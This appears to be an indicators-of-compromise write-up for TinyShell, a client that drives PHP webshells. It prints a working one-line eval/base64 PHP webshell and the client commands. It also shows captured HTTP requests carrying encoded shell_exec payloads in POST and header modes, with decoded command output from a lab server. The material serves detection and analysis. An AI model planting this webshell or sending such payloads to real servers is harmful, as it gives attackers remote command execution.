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TinyShell IOCs

TinyShell is a python command shell used to control and excute commands through HTTP requests to a webshell. TinyShell acts as the interface to the remote webshells. TinyShell is based on it's companion project SubShell (https://github.com/minisllc/subshell) and the China Chopper Webshell (https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html)

The following are some of the indicators generated by TinyShell.

Post Mode

TinyShell operating in the Base64 HTTP Post Mode using PHP. Commands are sent via a HTTP POST request.

Shell

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<?php @eval(base64_decode($_POST['token']));?>

Note

The "password" is set to token. This can be changed to any value. It is referenced as "--password=" by the TinyShell client.

Client Command

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python tinyshell.py --url http://10.203.63.80/upload/uploads/tinyshell.php --password=token --mode=base64_post --language=PHP

HTTP Request Sent by Client

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POST /upload/uploads/tinyshell.php HTTP/1.1
Host: 10.203.63.80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Content-Length: 216
Content-Type: application/x-www-form-urlencoded

token=ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs%3D

HTTP Response

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HTTP/1.1 200 OK
Date: Wed, 13 Dec 2017 20:45:25 GMT
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28
X-Powered-By: PHP/5.5.28
Content-Length: 504
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

CSRF_TOKEN: IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg== :TOKEN_CSRF

Note

This is a standalone copy of TinyShell. If this was added to an existing file, the response would contain the HTML of the source page.

The terms "CSRF_TOKEN:" and ":TOKEN_CSRF" are headers and footers that wrap the encoded response. These values are adjustable.

Decoding the Payload

Base64 Payload

ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs=

Decode Step 1

echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('ZGlyIGM6XHhhbXBwXGh0ZG9jc1xwb3J0YWxfNDhcdXBsb2FkXHVwbG9hZHM=') . " 2>&1")) . " :TOKEN_CSRF");

Decode Step 2

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dir c:\xampp\htdocs\portal_48\upload\uploads

Note

This is the command set to the TinyShell web shell.

Decoding the Response

Encoded Response

IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg==

Decoded Response

Note

This is the response rendered in the TinyShell console.

Header Mode

TinyShell operating in the Base64 HTTP Header Mode using PHP. Commands are sent via a HTTP HEADE.

Shell

Note

The "password" is set to "PSESSION". This can be changed to any value. It is referenced as "--password=" by the TinyShell client.

Client Command

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python tinyshell.py --url=http://10.203.63.80/upload/uploads/tinyshell.php--language=php --password=psession --mode=base64_header

HTTP Request Sent by Client

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POST /upload/uploads/tinyshell.php HTTP/1.1
Host: 10.203.63.80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
psession: ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7
Content-Length: 0

HTTP Response

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HTTP/1.1 200 OK
Date: Thu, 14 Dec 2017 02:46:56 GMT
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28
X-Powered-By: PHP/5.5.28
Content-Length: 80
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

CSRF_TOKEN: QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo= :TOKEN_CSRFPOST /upload/uploads/tinyshell.php

Decoding the Payload

Base64 Payload

ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7

Decode Step 1

echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('Y2Q=') . " 2>&1")) . " :TOKEN_CSRF");

Decode Step 2

cd

Decoding the Response

Encoded Response

QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo=

Decoded Response

C:\xampp\htdocs\portal_48\upload\uploads

Note

This is the response rendered in the TinyShell console.